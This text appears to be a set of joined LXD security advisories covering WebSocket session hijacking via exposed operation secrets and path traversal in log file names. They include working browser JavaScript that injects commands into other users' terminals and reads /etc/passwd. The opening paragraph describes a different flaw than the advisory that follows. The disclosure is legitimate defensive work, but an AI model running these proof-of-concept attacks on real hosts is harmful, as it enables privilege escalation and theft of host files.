A link following vulnerability in LXD allows an attacker to achieve arbitrary file read and write operations on the host system. When importing or unpacking an image archive, LXD fails to validate whether the metadata.yaml file is a symbolic link. An attacker can exploit this flaw by providing a crafted image archive with a symlinked metadata.yaml file pointing to target file paths on the host system.

Impact LXD's operations API includes secret values necessary for WebSocket connections when retrieving information about running operations. These secret values are used for authentication of WebSocket connections for terminal and console sessions.

Therefore, attackers with only read permissions can use secret values obtained from the operations API to hijack terminal or console sessions opened by other users. Through this hijacking, attackers can execute arbitrary commands inside instances with the victim's privileges.

Reproduction Steps

1. Log in to LXD-UI using an account with read-only permissions 2. Open browser DevTools and execute the following JavaScript code

Note that this JavaScript code uses the /1.0/events API to capture execution events for terminal startup, establishes a websocket connection with that secret, and sends touch /tmp/xxx to the data channel.

js (async () => { class LXDEventsSession { constructor(callback) { this.wsBase = wss://${window.location.host}/1.0/events?type=operation&all-p rojects=true; this.eventsConn = new WebSocket(this.wsBase); this.eventsConn.onopen = (event) => { console.log('Events conn Opened'); }; this.eventsConn.onmessage = (event) => { callback(event); }; }} class LXDWebSocketSession { constructor(operationId, secrets) { this.operationId = operationId; this.secrets = secrets; this.wsBase = wss://${window.location.host}/1.0/operations/${operationId}/w ebsocket; this.connections = {}; this.connections.data = new WebSocket(${this.wsBase}?secret=${this.secrets['0']}); this.connections.data.onopen = (event) => { console.log('Data Opened'); this.connections.data.send(new TextEncoder().encode('touch /tmp/xxx\r')); } this.connections.data.onmessage = (event) => { console.log('[Data]', event.data); }; this.connections.control = new WebSocket(${this.wsBase}?secret=${this.secrets.control}); this.connections.control.onopen = (event) => { console.log('Control Opened'); } this.connections.control.onmessage = (event) => { console.log('[Control]', event.data); }; } close() { Object.values(this.connections).forEach(ws => { if (ws.readyState === WebSocket.OPEN) { ws.close(); } }); } } const sessions = []; new LXDEventsSession( (event) => { const op = JSON.parse(event.data); const opId = op.metadata.id;const secrets = op.metadata.metadata.fds; for(const session of sessions){ if(session.operationId === opId){ return; } } sessions.push(new LXDWebSocketSession(opId, secrets)) }); })();

5. Have another user (or yourself for testing) start a terminal or console session on an instance At this time, whoever uses the secret first gains session rights, so it's recommended to intentionally slow down communication speed using DevTools' bandwidth throttling feature for verification. 6. Refresh the attacker's browser tab to stop event listening 7. Have the victim reopen their terminal/console session and verify:

$ ls -la /tmp/xxx

Risk Attack conditions require that the attacker has read permissions for the project, the victim (a user with higher privileges) opens a terminal or console session, and the attacker hijacks the WebSocket connection at the appropriate timing. Therefore, while successful attacks result in privilege escalation, the attack timing is very critical, making the realistic risk of attack relatively low.

Countermeasures As a fundamental countermeasure, it is recommended to exclude WebSocket connection secret information from operations API responses for read-only users. In the current implementation, the operations API returns all operation information (including secret values) regardless of permission level, which violates the principle of least privilege.

Specifically, in lxd/operations.go, user permissions should be checked, and for users with read-only permissions, WebSocket-related secrets (fds field) should be excluded from operation metadata. This prevents attackers from obtaining secret values, making WebSocket connection hijacking impossible.

Patches

| LXD Series | Status | | ------------- | ------------- | | 6 | Fixed in LXD 6.5 | | 5.21 | Fixed in LXD 5.21.4 | | 5.0 | Ignored - Not critical | | 4.0 | Ignored - EOL and not critical |

References Reported by GMO Flatt Security Inc.

Impact Although outside the scope of this penetration test, a path traversal vulnerability exists in the validLogFileName function that validates log file names in lxd/instancelogs.go in the LXD 5.0 LTS series.

This vulnerability was fixed in PR #15022 in February 2025, and is fixed in at least LXD 5.21 and later. However, this PR appears to be primarily aimed at code improvement rather than vulnerability fixing, with the vulnerability being fixed as a side effect. Therefore, no CVE number has been issued, and no security patch has been made for LXD 5.0 and earlier.

However, since LXD 5.0 LTS is still in its support period and installation procedures are explained in official documentation, we judge that environments affected by this vulnerability likely exist and report it.

Implementation in vulnerable versions (LXD 5.0 LTS series):

https://github.com/canonical/lxd/blob/1f8c9f77782784900960bb3b8577c1491db59277/lxd/instancelogs.go#L152-L163

This function allows filenames starting with snapshot or migration, but lacks sufficient validation for the portion after the prefix, enabling path traversal attacks. The fixed version is as follows:

Implementation in fixed versions (LXD 5.21 and later):

https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/instancelogs.go#L665-L679

https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/shared/util.go#L833-L835

This function ensures that filenames do not contain /, \, or .. .

Note that in Linux generally, path traversal like /notexistfolder/../existfolder/ is rejected within system calls and doesn't succeed.

However, in this case, the attack succeeds because URL normalization by golang's filepath.Join is performed beforehand.

Related part of instanceLogGet function:

https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/instancelogs.go#L218-L269

Related part of instanceLogDelete function:

https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/instancelogs.go#L331-L347

In the fixed version, filenames containing path traversal strings are rejected at the validLogFileName stage through pre-checking by shared.IsFileName.

Reproduction Steps

All reproduction steps for this finding must be performed on LXD 5.0.

1. Log in with an account having access to LXD-UI 2. Open browser DevTools and execute the following JavaScript to attempt path traversal attack:

js (async () => { const projectName = prompt("Enter target project name:"); const instanceName = prompt("Enter target instance name:"); const maliciousLogFile = encodeURIComponent('snapshot../../../../../../../../../../etc /passwd'); const response = await fetch(/1.0/instances/${instanceName}/logs/${maliciousLogFile} ?project=${projectName}, { method: 'GET', credentials: 'include' }); const content = await response.text(); console.log(content); })();

Description (2) A similar issue also exists in the validExecOutputFileName function:

https://github.com/canonical/lxd/blob/43d5189564d27f6161b430ed258c8b56603c2759/lxd/instancelogs.go#L681-L688

For exec-output, since a suffix is specified, it appears that arbitrary files cannot be specified. However, if an attacker has command execution privileges within a container, they can create a symbolic link that satisfies the suffix condition within the container and have the LXD host access it to perform the attack.

Reproduction Steps (2)

1. Open terminal in instance using LXD-UI and create symbolic link:

ln -s /etc/passwd execXXX-symlink.stdout

2. Execute the following JavaScript in browser DevTools to read files via symbolic link:

js (async () => { const projectName = prompt("Enter target project name:"); const instanceName = prompt("Enter target instance name:"); const maliciousExecFile = encodeURIComponent(exec../../../../../../../../../../../var/ snap/lxd/common/lxd/storage-pools/${projectName}/containers/${ instanceName}/rootfs/root/execXXX-symlink.stdout); const response = await fetch(/1.0/instances/${instanceName}/logs/exec-output/${malic iousExecFile}?project=${projectName}, { method: 'GET', credentials: 'include' }); const content = await response.text(); console.log(content); })();

This technique allows attackers with command execution privileges within a container to create symbolic links and attempt access to the host filesystem.

Risk This vulnerability exists in the LXD 5.0 LTS series, which appears to remain in widespread use, and if attackers have access to arbitrary projects and instances, they can read arbitrary files on the LXD host.

This could lead to leakage of the following information: -​ LXD host configuration files (/etc/passwd, /etc/shadow, etc.) -​ LXD database files (containing information about all projects and instances) -​ Configuration files and data of other instances -​ Sensitive information on the host system

Countermeasures Since this vulnerability has already been fixed, the primary countermeasures are providing information to users running older versions of LXD and, if possible, backporting to other LTS versions:

Patches

| LXD Series | Status | | ------------- | ------------- | | 6 | Fixed in LXD 6.5 | | 5.21 | Fixed in LXD 5.21.4 | | 5.0 | Ignored - Not critical | | 4.0 | Ignored - Not critical |

References Reported by GMO Flatt Security Inc.